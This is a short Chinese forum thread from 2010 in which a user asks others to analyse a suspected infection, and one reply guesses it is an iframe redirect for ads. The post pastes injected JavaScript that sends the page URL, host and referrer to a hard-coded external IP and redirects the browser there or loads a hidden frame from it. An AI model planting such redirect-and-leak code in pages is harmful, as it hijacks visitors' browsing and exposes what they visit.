大家帮忙分析下这个有没有中毒

显示全部楼层 · 发表于 2010-11-30 11:20:28

<Return><BusTicket><html><head><link rel="stylesheet" type="text/css" href="http://60.191.124.233:8080/css.css?aimt=242" /></head>
<script type="text/javascript">
var pp = "242&pre="+(new Date()).getTime();
var s=String(window.location.href);
var host=escape(s.substring(7,s.indexOf('/',7)));
var ref=escape(document.referrer);
s = escape(s);
function loadfr(){ document.getElementById("fr1").src = "http://60.191.124.233/dnsC.aspx?AIMT="+s+"&host="+host+"&refer="+ref+"&server="+pp; }
function refreshPage(){ document.location = "http://60.191.124.233/dnsB.aspx?AIMT="+s+"&host="+host+"&refer="+ref+"&server="+pp; }
if (self.location == top.location){ document.location="http://60.191.124.233/dnsA.aspx?AIMT="+s+"&host="+host+"&refer="+ref+"&server="+pp; }
else { refreshPage(); }
</script><frameset rows="*,0"><frame id="main" src=""><frame id="fr1" src=""></frameset><body></body></html>
</BusTicket></Return>

东西要保密，临时紧急求助，完了得删掉

显示全部楼层 · 发表于 2010-12-30 14:36:08

回复 1楼基斯巴卡的帖子

像是利用IFRAME形式导向其它网址。可能是些广告之类。

AIMT="+s+"&host="+host+"&refer="+ref+"&server="+pp; （这一条该有被导向的网址）

你有删该吗？

[已鉴定] 大家帮忙分析下这个有没有中毒